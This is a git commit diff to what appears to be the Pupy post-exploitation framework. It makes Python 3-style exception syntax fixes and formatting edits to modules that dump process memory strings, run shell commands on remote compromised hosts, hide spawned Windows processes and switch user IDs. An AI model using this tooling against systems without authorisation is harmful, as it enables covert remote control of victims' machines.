This commit is contained in:
AlessandroZ 2018-10-03 17:13:54 +02:00
parent 8de4ff940a
commit c62b86f23d
3 changed files with 16 additions and 10 deletions

View File

@ -97,7 +97,7 @@ class MemStrings(PupyModule):
last_log = open(path, 'w+')
self.success('{} {} -> {}'.format(name, pid, path))
except Exception, e:
except Exception as e:
self.error('{} {}: {}'.format(name, pid, e))
for s in strings:

View File

@ -7,6 +7,7 @@ from argparse import REMAINDER
__class_name__="ShellExec"
@config(cat="admin")
class ShellExec(PupyModule):
""" execute shell commands on a remote system """
@ -24,7 +25,8 @@ class ShellExec(PupyModule):
cls.arg_parser = PupyArgumentParser(prog='shell_exec', description=cls.__doc__)
cls.arg_parser.add_argument('-X', '--no-shell', action='store_true', help='Do not execute command in shell')
cls.arg_parser.add_argument('-S', '--set-uid', help='Set UID for user (posix only)')
cls.arg_parser.add_argument('-H', '--hide', action='store_true', help='Launch process on background (only for windows)')
cls.arg_parser.add_argument('-H', '--hide', action='store_true', help='Launch process on background '
'(only for windows)')
cls.arg_parser.add_argument('-c', '--codepage', default=None, help='decode using codepage')
cls.arg_parser.add_argument(
'argument',
@ -42,7 +44,7 @@ class ShellExec(PupyModule):
try:
self.terminate, get_data = check_output(
cmdline, shell=not args.no_shell, encoding=args.codepage, suid=args.set_uid)
except Exception, e:
except Exception as e:
self.error(' '.join(x for x in e.args if type(x) in (str, unicode)))
return
@ -66,7 +68,7 @@ class ShellExec(PupyModule):
p = start_hidden_process(args.argument)
self.success("Process created with pid %s" % p.pid)
except Exception, e:
except Exception as e:
self.error("Error creating the process: %s" % e)
else:
self.error('--hide option works only for Windows hosts')

View File

@ -11,6 +11,7 @@ import os
ON_POSIX = 'posix' in sys.builtin_module_names
def read_pipe(queue, pipe, bufsize):
completed = False
returncode = None
@ -19,7 +20,7 @@ def read_pipe(queue, pipe, bufsize):
try:
returncode = pipe.poll()
completed = returncode is not None
except:
except Exception:
continue
try:
@ -36,6 +37,7 @@ def read_pipe(queue, pipe, bufsize):
queue.put(returncode)
def prepare(suid):
import pwd
@ -48,19 +50,19 @@ def prepare(suid):
else:
userinfo = pwd.getpwuid(suid)
sgid = userinfo.pw_gid
except:
except Exception:
pass
try:
path = os.ttyname(sys.stdin.fileno())
os.chown(path, suid, sgid)
except:
except Exception:
pass
try:
os.initgroups(userinfo.pw_name, sgid)
os.chdir(userinfo.pw_dir)
except:
except Exception:
pass
try:
@ -70,7 +72,7 @@ def prepare(suid):
else:
os.setgid(suid)
os.setuid(suid)
except:
except Exception:
pass
os.setsid()
@ -147,7 +149,7 @@ class SafePopen(object):
close_cb()
return
except Exception, e:
except Exception as e:
if read_cb:
read_cb("[ UNKNOWN ERROR: {} ]\n".format(e))
@ -216,12 +218,14 @@ class SafePopen(object):
self._pipe.stdin.write(data)
self._pipe.stdin.flush()
def safe_exec(read_cb, close_cb, *args, **kwargs):
sfp = SafePopen(*args, **kwargs)
sfp.execute(close_cb, read_cb)
return sfp.terminate, sfp.get_returncode
def check_output(cmdline, shell=True, env=None, encoding=None, suid=None):
args = {
'shell': shell,